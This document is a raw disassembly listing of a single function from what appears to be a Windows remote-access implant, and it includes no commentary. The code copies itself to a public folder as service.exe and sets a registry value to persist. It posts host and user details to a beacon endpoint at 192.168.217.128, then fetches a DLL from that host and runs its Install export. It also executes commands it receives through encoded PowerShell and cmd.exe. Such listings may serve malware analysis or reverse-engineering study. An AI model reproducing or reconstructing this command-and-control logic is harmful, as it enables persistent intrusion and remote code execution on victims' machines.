Function at 0x140011cd0
Capabilities:
Copy file
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x580]
sub rsp, 0x680
movups xmm0, xmmword [str.C:UsersPublic_service.exe]
mov eax, dword [0x14003fc18]
lea rdx, [rbp + 0x360]
mov r8d, 0x104
mov dword [rbp + 0x1d8], eax
movups xmmword [rbp + 0x1c0], xmm0
xor ecx, ecx
movsd xmm0, qword [0x14003fc10]
movsd qword [rbp + 0x1d0], xmm0
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xor r8d, r8d
lea rdx, [rbp + 0x1c0]
lea rcx, [rbp + 0x360]
call qword [sym.imp.KERNEL32.dll_CopyFileA]
xor edx, edx
lea rcx, [rbp + 0x470]
mov r8d, 0x104
call fcn.140017850
mov r8d, 0x104
lea rdx, [rbp + 0x470]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xor r14d, r14d
lea rdx, [0x14003fc20]
lea rcx, str.WhoAreYou
mov qword [rbp + 0xa8], r14
lea r8d, [r14 + 0x2d]
call fcn.140002630
mov rdi, rax
mov r9d, 0x20006
lea rax, [rbp + 0xa8]
mov rdx, rdi
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov rcx, rdi
mov ebx, eax
call fcn.140020a5c
test ebx, ebx
jne 0x140011e16
lea rcx, [rbp + 0x1c0]
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], r14b
jne 0x140011dd3
mov rcx, qword [rbp + 0xa8]
lea rdx, str.service
mov dword [rsp + 0x28], eax
mov r9d, 1
lea rax, [rbp + 0x1c0]
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rbp + 0xa8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rdx, [0x14003f6fd]
lea rcx, [rbp + 0x330]
call fcn.140006d50
lea rdx, [0x14003f6fd]
mov qword [rbp + 0x120], r14
lea rcx, [rbp + 0x210]
call fcn.140006d50
lea rdx, [0x14003f6fd]
lea rcx, [rbp + 0x158]
call fcn.140006d50
lea rdx, [0x14003f6fd]
lea rcx, [rbp + 0x38]
call fcn.140006d50
xor r8d, r8d
lea rdx, [0x14003fc68]
lea rcx, [rbp + 0x230]
call fcn.1400028a0
xor r8d, r8d
lea rdx, str.43223
lea rcx, [rbp + 0x240]
call fcn.1400028a0
xor r8d, r8d
lea rdx, str.platform
lea rcx, [rbp + 0x250]
call fcn.1400028a0
xor r8d, r8d
lea rdx, str.windows
lea rcx, [rbp + 0x260]
call fcn.1400028a0
xor r8d, r8d
lea rdx, str.architecture
lea rcx, [rbp + 0x270]
call fcn.1400028a0
xor r8d, r8d
lea rdx, str.amd64
lea rcx, [rbp + 0x280]
call fcn.1400028a0
xor r8d, r8d
lea rdx, str.privilege
lea rcx, [rbp + 0x290]
call fcn.1400028a0
lea rcx, str.User
call fcn.14000de00
mov rdx, rax
lea rcx, [rbp + 0x2a0]
xor r8d, r8d
call fcn.1400028a0
xor r8d, r8d
lea rdx, str.host
lea rcx, [rbp + 0x2b0]
call fcn.1400028a0
xor r8d, r8d
lea rdx, str.Desktop
lea rcx, [rbp + 0x2c0]
call fcn.1400028a0
xor r8d, r8d
lea rdx, str.username
lea rcx, [rbp + 0x2d0]
call fcn.1400028a0
xor r8d, r8d
lea rdx, str.Rodwan
lea rcx, [rbp + 0x2e0]
call fcn.1400028a0
xor r8d, r8d
lea rdx, str.architecture
lea rcx, [rbp + 0x2f0]
call fcn.1400028a0
xor r8d, r8d
lea rdx, str.amd64
lea rcx, [rbp + 0x300]
call fcn.1400028a0
xor r8d, r8d
lea rdx, str.executors
lea rcx, [rbp + 0x310]
call fcn.1400028a0
lea r8, [0x14003fcec]
lea rdx, [0x14003fcf0]
lea rcx, [rbp + 0x320]
call fcn.140003550
lea rax, [rbp + 0x230]
mov qword [rbp + 0x1e0], rax
lea rdx, [rbp + 0x1e0]
lea rax, [rbp + 0x330]
lea rcx, [rbp + 0x28]
mov qword [rbp + 0x1e8], rax
call fcn.140007200
mov edx, 0x10
lea r9, [fcn.140007dc0]
mov r8d, edx
lea rcx, [rbp + 0x230]
call fcn.140008aa0
cmp qword [rbp + 0x168], 0
je 0x140012067
lea rdx, [0x14003fcf4]
lea rcx, [rbp - 0x20]
call fcn.140006d50
lea rdx, [rbp + 0x158]
lea rcx, [rbp + 0x38]
call fcn.140001710
lea rdx, [rbp - 0x20]
mov rbx, rax
lea rcx, [rbp + 0x28]
call fcn.1400080d0
mov rcx, rax
mov rdx, rbx
call fcn.140002cc0
lea rcx, [rbp - 0x20]
call fcn.140007c80
lea rdx, [0x14003f88c]
lea rcx, [rbp + 0x38]
call fcn.140006d50
mov r9, rax
lea rdx, [rbp + 0x180]
mov r8d, 1
lea rcx, [rbp + 0x28]
call fcn.14000e2b0
lea rdx, [0x14003f88c]
mov rbx, rax
lea rcx, [rsp + 0x30]
call fcn.140006d50
mov r9, rax
lea rdx, [rbp + 0x80]
mov r8d, 1
lea rcx, [rbp + 0x28]
call fcn.14000e2b0
mov rcx, rax
call fcn.14000de00
mov r8d, dword [rbx + 0x10]
lea rcx, str.WhoAreYou
mov rdx, rax
call fcn.140002630
lea rcx, [rbp + 0x80]
mov rbx, rax
call fcn.140007c80
lea rcx, [rbp + 0x180]
call fcn.140007c80
lea rdx, [0x14003f88c]
lea rcx, [rsp + 0x70]
call fcn.140006d50
mov r9, rax
lea rdx, [rbp - 0x20]
mov r8d, 1
lea rcx, [rbp + 0x28]
call fcn.14000e2b0
mov rcx, rbx
mov edx, dword [rax + 0x10]
call fcn.1400014e0
lea rcx, [rbp - 0x20]
mov rbx, rax
call fcn.140007c80
lea r9, str.POST
mov qword [rsp + 0x20], rbx
lea r8, str._beacon
mov edx, 0x22b8
lea rcx, str.192.168.217.128
call fcn.1400024c0
lea rdx, [rbp - 0x4c]
mov dword [rbp - 0x4c], r14d
mov rcx, rax
mov rdi, rax
call fcn.140002420
mov rcx, rdi
mov rbx, rax
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov edx, dword [rbp - 0x4c]
mov rcx, rbx
call fcn.1400013b0
mov ecx, dword [rbp - 0x4c]
mov rbx, rax
call fcn.1400013a0
mov r8d, eax
lea rcx, str.WhoAreYou
mov rdx, rbx
call fcn.140002630
mov rdx, rax
lea rcx, [rbp + 0x60]
call fcn.140006d50
mov r8d, 1
lea rdx, [0x14003f848]
lea rcx, [rbp + 0x38]
call fcn.140006be0
mov r8, rax
mov dword [rsp + 0x20], r14d
lea r9, [0x14003f6fd]
lea rdx, [rbp + 0x60]
lea rcx, [rbp + 0x80]
call fcn.1400064d0
mov rdx, rax
lea rcx, [rbp + 0x60]
call fcn.140007f00
lea rcx, [rbp + 0x80]
call fcn.140007c80
lea rcx, [rbp + 0x38]
call fcn.140007c40
mov r8d, 1
lea rdx, [0x14003fd18]
lea rcx, [rbp + 0x38]
call fcn.140006be0
mov r8, rax
mov dword [rsp + 0x20], r14d
lea r9, [0x14003f880]
lea rdx, [rbp + 0x60]
lea rcx, [rbp + 0x80]
call fcn.1400064d0
mov rdx, rax
lea rcx, [rbp + 0x60]
call fcn.140007f00
lea rcx, [rbp + 0x80]
call fcn.140007c80
lea rcx, [rbp + 0x38]
call fcn.140007c40
mov r8d, 1
lea rdx, [0x14003fd1c]
lea rcx, [rbp + 0x38]
call fcn.140006be0
mov r8, rax
mov dword [rsp + 0x20], r14d
lea r9, [0x14003f888]
lea rdx, [rbp + 0x60]
lea rcx, [rbp + 0x80]
call fcn.1400064d0
mov rdx, rax
lea rcx, [rbp + 0x60]
call fcn.140007f00
lea rcx, [rbp + 0x80]
call fcn.140007c80
lea rcx, [rbp + 0x38]
call fcn.140007c40
mov r8d, 1
lea rdx, [0x14003fd24]
lea rcx, [rbp + 0x38]
call fcn.140006be0
mov r8, rax
mov dword [rsp + 0x20], r14d
lea r9, [0x14003fd20]
lea rdx, [rbp + 0x60]
lea rcx, [rbp + 0x80]
call fcn.1400064d0
mov rdx, rax
lea rcx, [rbp + 0x60]
call fcn.140007f00
lea rcx, [rbp + 0x80]
call fcn.140007c80
lea rcx, [rbp + 0x38]
call fcn.140007c40
mov r8d, 1
lea rdx, [0x14003fd28]
lea rcx, [rbp + 0x38]
call fcn.140006be0
mov r8, rax
mov dword [rsp + 0x20], r14d
lea r9, [0x14003f878]
lea rdx, [rbp + 0x60]
lea rcx, [rbp + 0x80]
call fcn.1400064d0
mov rdx, rax
lea rcx, [rbp + 0x60]
call fcn.140007f00
lea rcx, [rbp + 0x80]
call fcn.140007c80
lea rcx, [rbp + 0x38]
call fcn.140007c40
lea rdx, [rbp + 0x60]
lea rcx, [rbp - 0x40]
call fcn.140008b00
lea rdx, [0x14003fcf4]
lea rcx, [rbp - 0x20]
call fcn.140006d50
lea rdx, [rbp - 0x20]
lea rcx, [rbp - 0x40]
call fcn.1400080d0
mov rcx, rax
lea rdx, [rbp + 0x80]
call fcn.140008e40
mov rdx, rax
lea rcx, [rbp + 0x158]
call fcn.140007f00
lea rcx, [rbp + 0x80]
call fcn.140007c80
lea rcx, [rbp - 0x20]
call fcn.140007c80
lea rdx, str.sleep
lea rcx, [rbp - 0x20]
call fcn.140006d50
lea rdx, [rbp - 0x20]
lea rcx, [rbp - 0x40]
call fcn.1400080d0
mov rcx, rax
call fcn.140008ca0
lea rcx, [rbp - 0x20]
mov dword [rbp + 0xa0], eax
call fcn.140007c80
mov dword [rbp - 0x48], r14d
nop dword [rax + rax]
mov ecx, dword [rbp - 0x38]
xorps xmm0, xmm0
mov eax, dword [0x14003fd40]
mov esi, 0xc
mov qword [rbp + 0x18], rsi
mov r15d, 0xf
mov qword [rbp + 0x20], r15
mov dword [rbp + 0x5d8], ecx
movups xmmword [rbp + 8], xmm0
mov dword [rbp + 0x10], eax
movsd xmm0, qword [str.instructions]
movsd qword [rbp + 8], xmm0
mov byte [rbp + 0x14], 0
cmp ecx, 1
je 0x140012491
lea rcx, [rbp - 0x40]
call fcn.140007dc0
lea ecx, [rsi + 4]
call fcn.140013f1c
mov r14, rax
test rax, rax
je 0x140012472
xor eax, eax
lea ecx, [rsi + 0x44]
mov qword [r14], rax
mov qword [r14 + 8], rax
call fcn.140013f1c
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rax + 0x10], rax
mov word [rax + 0x18], 0x101
mov qword [r14], rax
jmp 0x140012475
xor r14d, r14d
mov r15, qword [rbp + 0x20]
mov eax, 1
mov rsi, qword [rbp + 0x18]
mov dword [rbp + 0x5d8], eax
mov dword [rbp - 0x38], eax
mov qword [rbp - 0x40], r14
jmp 0x140012495
mov r14, qword [rbp - 0x40]
mov rax, qword [r14]
mov r12, qword [rbp + 8]
mov r13, rax
mov qword [rbp - 0x28], rax
mov dword [rsp + 0x58], 0
mov rbx, qword [rax + 8]
mov qword [rsp + 0x50], rbx
cmp byte [rbx + 0x19], 0
jne 0x140012515
nop word [rax + rax]
cmp r15, 0x10
mov qword [rsp + 0x50], rbx
lea rdx, [rbp + 8]
cmovae rdx, r12
lea rcx, [rbx + 0x20]
cmp qword [rbx + 0x38], 0x10
jb 0x1400124e0
mov rcx, qword [rbx + 0x20]
mov rdi, qword [rbx + 0x30]
cmp rsi, rdi
mov r8, rdi
cmovb r8, rsi
call fcn.140017df0
test eax, eax
je 0x1400125da
js 0x1400125e3
mov r13, rbx
mov dword [rsp + 0x58], 1
mov rbx, qword [rbx]
cmp byte [rbx + 0x19], 0
je 0x1400124c0
cmp byte [r13 + 0x19], 0
jne 0x140012558
cmp qword [r13 + 0x38], 0x10
lea rdx, [r13 + 0x20]
jb 0x14001252b
mov rdx, qword [r13 + 0x20]
mov rbx, qword [r13 + 0x30]
lea rcx, [rbp + 8]
cmp r15, 0x10
mov r8, rsi
cmovae rcx, r12
cmp rbx, rsi
cmovb r8, rbx
call fcn.140017df0
test eax, eax
je 0x1400125f4
jns 0x1400125fd
movabs rax, 0x333333333333333
cmp qword [r14 + 8], rax
je 0x140013c4a
mov ecx, 0x50
call fcn.140013f1c
lea rdx, [rbp + 8]
mov rdi, rax
lea rcx, [rax + 0x20]
call fcn.140001710
mov rax, qword [rbp - 0x28]
lea rdx, [rbp + 0xd0]
movups xmm0, xmmword [rsp + 0x50]
xor esi, esi
mov r8, rdi
mov dword [rdi + 0x40], esi
mov rcx, r14
mov dword [rdi + 0x48], esi
mov qword [rdi], rax
mov qword [rdi + 8], rax
mov qword [rdi + 0x10], rax
mov word [rdi + 0x18], si
movaps xmmword [rbp + 0xd0], xmm0
call fcn.14000c330
mov r15, qword [rbp + 0x20]
mov r13, rax
mov r12, qword [rbp + 8]
cmp dword [r13 + 0x48], 2
jne 0x140012601
mov rax, qword [r13 + 0x40]
mov ebx, dword [rax + 0x20]
jmp 0x140012606
cmp rdi, rsi
jae 0x140012501
mov rbx, qword [rbx + 0x10]
mov dword [rsp + 0x58], 0
jmp 0x14001250f
cmp rsi, rbx
jb 0x140012558
xor esi, esi
jmp 0x1400125ca
mov ebx, 0xffffffff
cmp r15, 0x10
jb 0x14001263e
lea rdx, [r15 + 1]
mov rax, r12
cmp rdx, 0x1000
jb 0x140012636
mov r12, qword [r12 - 8]
add rdx, 0x27
sub rax, r12
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013c14
mov rcx, r12
call fcn.140013f58
mov r13d, dword [rbp - 0x48]
cmp r13d, ebx
jge 0x140013a5e
lea rdx, str.name
lea rcx, [rsp + 0x70]
call fcn.140006d50
lea rdx, str.instructions
lea rcx, [rsp + 0x30]
call fcn.140006d50
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x40]
call fcn.1400080d0
mov rcx, rax
mov edx, r13d
call fcn.140008200
mov rcx, rax
lea rdx, [rsp + 0x70]
call fcn.1400080d0
mov rcx, rax
lea rdx, [rbp + 0x80]
call fcn.140008e40
lea rcx, [rsp + 0x30]
call fcn.140007c80
lea rcx, [rsp + 0x70]
call fcn.140007c80
lea rdx, str.command
lea rcx, [rsp + 0x70]
call fcn.140006d50
mov eax, dword [0x14003fd40]
lea rdx, [rsp + 0x50]
xorps xmm0, xmm0
mov qword [rsp + 0x60], 0xc
movups xmmword [rsp + 0x50], xmm0
lea rcx, [rbp - 0x40]
mov qword [rsp + 0x68], 0xf
movsd xmm0, qword [str.instructions]
movsd qword [rsp + 0x50], xmm0
mov dword [rsp + 0x58], eax
mov byte [rsp + 0x5c], 0
call fcn.1400080d0
mov rcx, rax
mov edx, r13d
call fcn.140008200
mov rcx, rax
lea rdx, [rsp + 0x70]
call fcn.1400080d0
lea r8, [rbp + 0x5d0]
mov rcx, rax
lea rdx, [rsp + 0x30]
call fcn.140008cb0
xor edi, edi
xorps xmm0, xmm0
movups xmmword [rbp + 0x100], xmm0
mov qword [rbp + 0x110], rdi
mov qword [rbp + 0x118], rdi
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x100], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x110], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], dil
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x1400127b3
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400127ae
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013c1a
call fcn.140013f58
mov r8, qword [rsp + 0x68]
cmp r8, 0x10
jb 0x1400127d0
mov rdx, qword [rsp + 0x50]
lea rcx, [rsp + 0x50]
inc r8
call fcn.14000de20
lea rcx, [rsp + 0x70]
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], 0xf
mov byte [rsp + 0x50], dil
call fcn.140007c80
lea rdx, [0x14003fd58]
lea rcx, [rsp + 0x30]
call fcn.140006d50
lea rdx, str.instructions
lea rcx, [rsp + 0x70]
call fcn.140006d50
lea rdx, [rsp + 0x70]
lea rcx, [rbp - 0x40]
call fcn.1400080d0
mov rcx, rax
mov edx, r13d
call fcn.140008200
mov edx, 1
mov rcx, rax
mov rbx, rax
call fcn.140008b50
mov rsi, qword [rbx]
lea r8, [rsp + 0x30]
mov rcx, rsi
lea rdx, [rsp + 0x50]
call fcn.140003e50
mov rbx, qword [rsp + 0x60]
cmp byte [rbx + 0x19], dil
jne 0x140012871
lea r8, [rbx + 0x20]
mov rcx, rsi
lea rdx, [rsp + 0x30]
call fcn.140008430
test al, al
je 0x14001291d
movabs rax, 0x333333333333333
cmp qword [rsi + 8], rax
je 0x140013c3e
mov rdi, qword [rsi]
lea rax, [rsp + 0x30]
mov rdx, rsi
mov qword [rbp - 0x28], rax
lea rcx, [rbp + 0x138]
call fcn.140006bb0
mov rbx, qword [rbp + 0x140]
lea rax, [rbp + 0x5d8]
mov rcx, qword [rbp + 0x138]
lea r9, [rbp - 0x28]
lea r8, [0x14003f5e0]
mov qword [rsp + 0x20], rax
lea rdx, [rbx + 0x20]
call fcn.140006350
mov qword [rbx], rdi
lea rcx, [rbp + 0x138]
mov qword [rbx + 8], rdi
mov qword [rbx + 0x10], rdi
mov word [rbx + 0x18], 0
call fcn.14000d100
lea rcx, [rbp + 0x138]
mov rbx, rax
call fcn.140007c00
movups xmm0, xmmword [rsp + 0x50]
mov r8, rbx
lea rdx, [rbp + 0xd0]
mov rcx, rsi
movaps xmmword [rbp + 0xd0], xmm0
call fcn.14000c330
mov rbx, rax
xor edi, edi
lea rcx, [rbx + 0x40]
lea r8, [rbp - 0x50]
lea rdx, [rbp + 0xd0]
call fcn.140008cb0
lea rcx, [rbp + 0xd0]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 8], xmm0
movups xmmword [rbp + 0x180], xmm0
movups xmm0, xmmword [rax + 0x10]
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
movups xmmword [rsp + 0x50], xmm0
mov byte [rax], 0
movups xmmword [rbp + 0x190], xmm0
call fcn.140007c80
lea rcx, [rsp + 0x70]
call fcn.140007c80
lea rcx, [rsp + 0x30]
call fcn.140007c80
xorps xmm0, xmm0
mov qword [rbp - 0x80], 8
movups xmmword [rsp + 0x30], xmm0
movabs rax, 0x726f747563657865
lea rdx, [rsp + 0x30]
movups xmmword [rsp + 0x70], xmm0
lea rcx, [rbp - 0x40]
mov qword [rsp + 0x70], rax
movsd xmm0, qword [str.instructions]
mov eax, dword [0x14003fd40]
movsd qword [rsp + 0x30], xmm0
mov dword [rsp + 0x38], eax
mov qword [rbp - 0x78], 0xf
mov byte [rsp + 0x78], 0
mov qword [rsp + 0x40], 0xc
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x3c], 0
call fcn.1400080d0
mov edx, 2
mov rcx, rax
mov r15, rax
call fcn.140008b50
mov rbx, qword [r15]
mov rdx, qword [rbx + 0x20]
cmp r13, rdx
jb 0x140012ac8
lea r14d, [r13 + 1]
cmp rdx, r14
jae 0x140012a81
lea rax, [rdx + 1]
cmp qword [rbx + 0x10], rax
ja 0x140012a2c
mov edx, 1
mov rcx, rbx
call fcn.14000bea0
mov rdx, qword [rbx + 0x10]
dec rdx
and qword [rbx + 0x18], rdx
mov rdi, qword [rbx + 0x18]
add rdi, qword [rbx + 0x20]
mov rax, qword [rbx + 8]
and rdi, rdx
cmp qword [rax + rdi*8], 0
jne 0x140012a62
mov edx, 1
mov rcx, rbx
call fcn.14000dba0
mov rcx, qword [rbx + 8]
mov qword [rcx + rdi*8], rax
mov rax, qword [rbx + 8]
mov rcx, qword [rax + rdi*8]
xor edi, edi
mov dword [rcx], edi
mov dword [rcx + 8], edi
mov rdx, qword [rbx + 0x20]
inc rdx
mov qword [rbx + 0x20], rdx
cmp rdx, r14
jb 0x140012a15
jbe 0x140012ac8
nop dword [rax]
nop word [rax + rax]
mov rcx, qword [rbx + 0x18]
mov rax, qword [rbx + 0x10]
dec rcx
add rcx, rdx
dec rax
and rcx, rax
mov rax, qword [rbx + 8]
mov rcx, qword [rax + rcx*8]
call fcn.140007dc0
mov rdx, qword [rbx + 0x20]
sub rdx, 1
mov qword [rbx + 0x20], rdx
jne 0x140012ac3
mov qword [rbx + 0x18], rdi
cmp rdx, r14
ja 0x140012a90
mov rcx, qword [r15]
mov edx, 1
mov rax, qword [rcx + 0x18]
mov rbx, qword [rcx + 0x10]
add rax, r13
dec rbx
and rbx, rax
mov rax, qword [rcx + 8]
mov rbx, qword [rax + rbx*8]
mov rcx, rbx
call fcn.140008b50
mov r14, qword [rbx]
lea r8, [rsp + 0x70]
mov rcx, r14
lea rdx, [rbp + 0xd0]
call fcn.140003e50
mov rbx, qword [rbp + 0xe0]
cmp byte [rbx + 0x19], 0
jne 0x140012b2f
lea r8, [rbx + 0x20]
mov rcx, r14
lea rdx, [rsp + 0x70]
call fcn.140008430
test al, al
jne 0x140012b2f
xor r15d, r15d
jmp 0x140012ba2
movabs rax, 0x333333333333333
cmp qword [r14 + 8], rax
je 0x140013c38
mov rdi, qword [r14]
mov edx, 1
mov rcx, r14
call fcn.14000db30
lea rdx, [rsp + 0x70]
mov rsi, rax
lea rcx, [rax + 0x20]
call fcn.140001710
movups xmm0, xmmword [rbp + 0xd0]
xor r15d, r15d
lea rdx, [rbp + 0xd0]
mov dword [rsi + 0x40], r15d
mov r8, rsi
mov dword [rsi + 0x48], r15d
mov rcx, r14
mov qword [rsi], rdi
mov qword [rsi + 8], rdi
mov qword [rsi + 0x10], rdi
mov word [rsi + 0x18], r15w
movaps xmmword [rbp + 0xd0], xmm0
call fcn.14000c330
mov rbx, rax
lea rcx, [rbx + 0x40]
lea r8, [rbp - 0x4f]
lea rdx, [rbp + 0x38]
call fcn.140008cb0
lea rcx, [rbp + 0x38]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xd0], xmm0
movups xmmword [rbp - 0x20], xmm0
movups xmm0, xmmword [rax + 0x10]
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
movups xmmword [rbp + 0x148], xmm0
mov byte [rax], 0
movups xmmword [rbp - 0x10], xmm0
call fcn.140007c80
lea rcx, [rsp + 0x30]
call fcn.140007c80
lea rcx, [rsp + 0x70]
call fcn.140007c80
cmp qword [rbp + 0x118], 0x10
lea rcx, [rbp + 0x100]
mov edx, dword [rbp + 0x110]
cmovae rcx, qword [rbp + 0x100]
call fcn.1400013b0
movups xmm1, xmmword [rbp + 0x148]
mov qword [rbp - 0x60], r15
mov rsi, rax
mov rax, qword [rbp + 0xd0]
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
mov byte [rbp - 0x70], 0
lea rcx, [rbp - 0x20]
movdqa xmm0, xmm1
mov qword [rbp - 0x28], rax
psrldq xmm0, 8
movq r8, xmm1
movq rdx, xmm0
mov r13d, 0xf
cmp rdx, 0x10
mov qword [rbp - 0x58], r13
mov rdi, r15
mov qword [rbp + 0x5d8], rdx
cmovae rcx, rax
cmp r8, 3
jne 0x140012c8f
lea rdx, [0x14003fcf0]
call fcn.140017df0
test eax, eax
jne 0x140012c8f
mov al, 1
jmp 0x140012c91
xor al, al
test al, al
je 0x140012e7c
mov rdx, rsi
lea rcx, [rbp + 0x210]
call fcn.140007f90
xor r8d, r8d
lea rdx, str.download
lea rcx, [rbp + 0x210]
call fcn.140011ac0
lea rcx, [rbp + 0x210]
test rax, rax
jne 0x140012dbe
lea r9, [rax - 1]
mov dword [rbp - 0x30], r15d
lea r8d, [rax + 9]
lea rdx, [rsp + 0x30]
call fcn.140011b80
lea r8, [rsp + 0x30]
lea rdx, str.http:__192.168.217.128:9999_
lea rcx, [rbp - 0x20]
call fcn.1400034e0
lea rcx, [rbp - 0x20]
call fcn.14000de00
mov rcx, rax
lea rdx, [rbp - 0x30]
xor r8d, r8d
call fcn.1400022b0
lea rcx, [rsp + 0x30]
mov rdi, rax
call fcn.14000de00
mov rcx, rax
lea rdx, [0x14003fd90]
call fcn.140024ebc
mov r8d, dword [rbp - 0x30]
mov r9, rax
mov edx, 1
mov rcx, rdi
mov rbx, rax
call fcn.140025238
mov rcx, rbx
call fcn.140024d68
lea rcx, [rsp + 0x30]
call fcn.14000de00
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
mov qword [rbp + 0x120], rax
lea rdx, str.Install
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov rdx, rax
lea rcx, [rbp + 0x330]
call fcn.140007f90
lea rdx, [rbp + 0x330]
lea rcx, [0x140055710]
call fcn.140002dd0
mov rcx, rax
lea rdx, [0x14003f87c]
call fcn.1400030b0
lea rcx, [rbp - 0x20]
call fcn.140007c80
lea rcx, [rsp + 0x30]
call fcn.140007c80
jmp 0x140012df6
xor r8d, r8d
lea rdx, [rbp + 0x330]
call fcn.14000f610
cmp rax, 0xffffffffffffffff
je 0x140012df6
lea rcx, [rbp + 0x210]
call fcn.14000de00
mov rcx, qword [rbp + 0x120]
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140012df6
call rax
mov rdx, rsi
lea rcx, [rbp - 0x20]
call fcn.140006d50
lea rdx, [rbp - 0x20]
lea rcx, [rsp + 0x70]
call fcn.140001a40
lea rcx, [rbp - 0x20]
call fcn.140007c80
mov eax, dword [rbp - 0x80]
lea rcx, [rsp + 0x70]
lea ebx, [rax + rax]
call fcn.14000de10
mov rcx, rax
mov edx, ebx
call fcn.1400014e0
mov rdx, rax
lea rcx, [rbp - 0x20]
call fcn.140006d50
mov r8, rax
lea rdx, str.powershell.exe__nop__enc
lea rcx, [rbp + 0x38]
call fcn.1400033b0
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.140007f00
lea rcx, [rbp + 0x38]
call fcn.140007c80
lea rcx, [rbp - 0x20]
call fcn.140007c80
lea rcx, [rsp + 0x70]
call fcn.140007ce0
jmp 0x140012ecf
lea rdx, [0x14003fcec]
lea rcx, [rbp - 0x20]
call fcn.140003360
test al, al
je 0x140012ed7
mov rdx, rsi
lea rcx, [rsp + 0x30]
call fcn.140006d50
mov r8, rax
lea rdx, str.cmd.exe__c
lea rcx, [rbp + 0x38]
call fcn.1400033b0
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.140007f00
lea rcx, [rbp + 0x38]
call fcn.140007c80
lea rcx, [rsp + 0x30]
call fcn.140007c80
mov rdi, qword [rbp - 0x60]
mov r13, qword [rbp - 0x58]
mov r12, qword [rbp - 0x70]
lea rsi, [rbp - 0x70]
cmp r13, 0x10
mov qword [rbp], r15
movabs rax, 0x7fffffffffffffff
mov qword [rbp - 0x80], r15
cmovae rsi, r12
mov qword [rbp - 0x78], r15
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
cmp rdi, rax
ja 0x140013c32
mov qword [rbp - 0x78], 0xf
cmp rdi, 0x10
jae 0x140012f2a
mov qword [rbp - 0x80], rdi
movups xmm0, xmmword [rsi]
movups xmmword [rsp + 0x70], xmm0
jmp 0x140012f72
mov rbx, rdi
or rbx, 0xf
cmp rbx, rax
jbe 0x140012f3b
mov rbx, rax
jmp 0x140012f48
cmp rbx, 0x16
mov eax, 0x16
cmovb rbx, rax
lea rdx, [rbx + 1]
lea rcx, [rsp + 0x70]
call fcn.140002150
lea r8, [rdi + 1]
mov qword [rsp + 0x70], rax
mov rdx, rsi
mov qword [rbp - 0x80], rdi
mov rcx, rax
mov qword [rbp - 0x78], rbx
call fcn.140017ef0
lea rdx, [rbp]
lea rcx, [rsp + 0x70]
call fcn.140001ae0
mov r14, rax
test rax, rax
je 0x140012f8f
cmp qword [rbp], 0
jne 0x140012f9e
lea r14, str.NONE
mov qword [rbp], 4
xorps xmm0, xmm0
mov qword [rsp + 0x40], r15
mov r8d, 2
mov qword [rsp + 0x48], r15
lea rdx, [0x14003fd58]
lea rcx, [rsp + 0x30]
movups xmmword [rsp + 0x30], xmm0
call fcn.140003a00
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x230]
call fcn.140007070
mov rax, qword [rbp + 8]
lea rsi, [rbp + 0x180]
movups xmm1, xmmword [rsp + 0x50]
mov qword [rbp + 0xd0], rax
xorps xmm0, xmm0
mov dword [rbp + 0x238], 3
movups xmmword [rbp - 0x70], xmm0
movdqa xmm0, xmm1
movq rdi, xmm1
psrldq xmm0, 8
movq rcx, xmm0
cmp rcx, 0x10
mov qword [rbp + 0x148], rcx
cmovae rsi, rax
movabs rax, 0x7fffffffffffffff
cmp rdi, rax
ja 0x140013c2c
cmp rdi, 0x10
jae 0x140013050
movups xmm0, xmmword [rsi]
mov qword [rbp - 0x60], rdi
mov qword [rbp - 0x58], 0xf
movups xmmword [rbp - 0x70], xmm0
jmp 0x140013096
mov rbx, rdi
or rbx, 0xf
cmp rbx, rax
jbe 0x140013061
mov rbx, rax
jmp 0x14001306e
cmp rbx, 0x16
mov eax, 0x16
cmovb rbx, rax
lea rdx, [rbx + 1]
lea rcx, [rbp - 0x70]
call fcn.140002150
lea r8, [rdi + 1]
mov qword [rbp - 0x70], rax
mov rdx, rsi
mov qword [rbp - 0x60], rdi
mov rcx, rax
mov qword [rbp - 0x58], rbx
call fcn.140017ef0
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x38]
call fcn.140001710
mov rdx, rax
lea rcx, [rbp + 0x240]
call fcn.140007070
lea rcx, [rbp - 0x70]
mov dword [rbp + 0x248], 3
call fcn.140007c80
xorps xmm0, xmm0
mov qword [rsp + 0x40], r15
mov r8d, 6
